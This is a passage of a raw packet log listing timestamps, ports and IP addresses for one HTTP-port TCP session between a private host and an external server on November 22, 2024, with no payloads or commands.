Nov 22, 2024 14:43:28.966147900 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.966228962 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.991830111 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.991906881 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.992057085 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.992057085 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.993571997 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.993623972 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.993719101 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.993793011 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.997294903 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.997345924 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:28.997415066 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:28.997462988 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.000730038 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.000781059 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.000905037 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.001081944 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.004311085 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.004417896 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.004445076 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.004528046 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.007941008 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.007981062 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.008002043 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.008014917 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.022430897 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.022506952 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.022521019 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.022610903 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.022742033 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.022742033 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.063781023 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.063829899 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.064038038 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.064038992 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.065422058 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.065583944 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.065629959 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.065629959 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.068730116 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.068789959 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.068819046 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.068917990 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.071914911 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.072046995 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.072057962 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.072230101 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.075158119 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.075248003 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.075264931 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.075340033 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.078269958 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.078381062 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.078413963 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.078497887 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.081099033 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.081175089 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.081214905 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.081351042 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.084013939 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.084065914 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.084124088 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.084124088 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.086770058 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.086793900 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.086837053 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.086994886 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.089463949 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.089515924 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.089581966 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.089648962 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.092132092 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.092255116 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.092407942 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.092559099 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.094763041 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.094849110 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.094937086 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.095026970 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.097444057 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.097520113 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.097564936 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.097564936 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.100022078 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.100121021 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.100126028 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.100178003 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.102665901 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.102720022 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.102843046 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.102901936 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.105303049 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.105367899 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.105403900 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.105463982 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.107980013 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.108052015 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.108135939 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.108187914 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.110575914 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.110645056 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.142358065 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.142446995 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.142452002 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.142554045 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.143443108 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.143544912 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.143558979 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.143639088 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.145575047 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.145675898 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.145684004 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.145752907 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.147715092 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.147824049 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.147844076 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.147897005 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.149827957 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.149962902 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.150037050 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.150175095 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.151974916 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.152103901 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.152148962 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.152220964 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.154098034 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.154242039 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.154288054 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.154288054 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.156213999 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.156267881 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.156311989 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.156311989 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.158380032 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.158457041 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.158502102 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.158502102 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.160536051 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.160609961 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.160708904 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.160831928 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.162658930 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.162712097 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.162796974 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.162848949 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.164764881 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.164916039 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.164980888 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.165087938 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.166991949 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.167028904 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.167047977 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.167094946 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.169492960 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.169583082 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.169627905 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.169627905 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.171159029 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.171302080 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.171303034 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.171351910 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.173297882 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.173348904 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.173387051 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.173480034 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.175401926 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.175595045 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.175602913 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.175646067 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.177517891 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.177573919 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.177613020 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.177661896 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.179630995 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.179697037 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.179783106 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.179851055 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.192939997 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.192953110 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.193048954 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.194005966 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.194058895 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.194060087 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.194140911 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.196091890 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.196155071 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.196938992 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.197010040 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.197025061 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.197062969 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.199014902 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.199105024 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.199137926 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.199204922 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.201132059 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.201204062 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.201225042 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.201325893 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.203262091 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.203315973 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.203345060 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.203464031 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.205440998 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.205486059 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.205553055 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.205596924 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.207529068 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.207581043 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.207648039 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.207690001 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.209656000 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.209728003 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.209935904 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.209979057 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.211781025 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.211878061 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.211899042 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.211941004 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.213988066 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.214095116 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.214144945 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.214212894 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.216032028 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.216134071 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.216156006 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.216211081 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.218189955 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.218280077 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.218379974 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.218473911 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.220297098 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.220391989 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.220431089 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.220515013 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.222443104 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.222507000 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.222567081 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.222661018 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.224589109 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.224700928 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.264678955 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.264782906 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.264858007 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.264905930 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.265577078 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.265638113 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.265702963 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.265774965 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.267568111 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.267622948 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.267693996 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.267806053 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.269640923 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.269684076 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.269712925 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.269758940 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.271608114 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.271665096 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.271728039 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.271821022 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.273511887 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.273569107 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.273611069 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.273611069 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.275485039 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.275576115 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.275599957 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.275649071 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.277465105 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.277525902 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.277580023 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.277638912 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.279438019 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.279517889 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.279551983 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.279635906 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.281433105 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.281511068 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.281555891 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.281738997 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.283359051 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.283421993 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.283448935 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.283468962 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.285265923 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.285376072 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.285396099 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.285451889 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.287137985 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.287369967 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.287419081 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.287419081 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.288925886 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.288991928 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.289031029 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.289096117 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.290786982 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.290877104 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.290893078 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.290954113 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.292469978 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.292541981 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.292570114 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.292637110 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.294192076 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.294287920 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.294294119 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.294436932 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.295931101 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.295993090 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.296040058 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.296040058 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.337311029 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.337343931 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.337407112 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.337407112 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.337913990 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.337975025 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.338044882 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.338088989 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.338855028 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.338917017 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.338979959 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.339047909 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.339955091 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.340069056 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.340084076 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.340209007 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.341085911 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.341149092 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.341190100 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.341190100 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.342247963 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.342315912 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.342327118 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.342400074 CET	49721	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:29.343420029 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.343506098 CET	80	49721	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:29.343544960 CET	49721	80	192.168.2.6	185.215.113.206
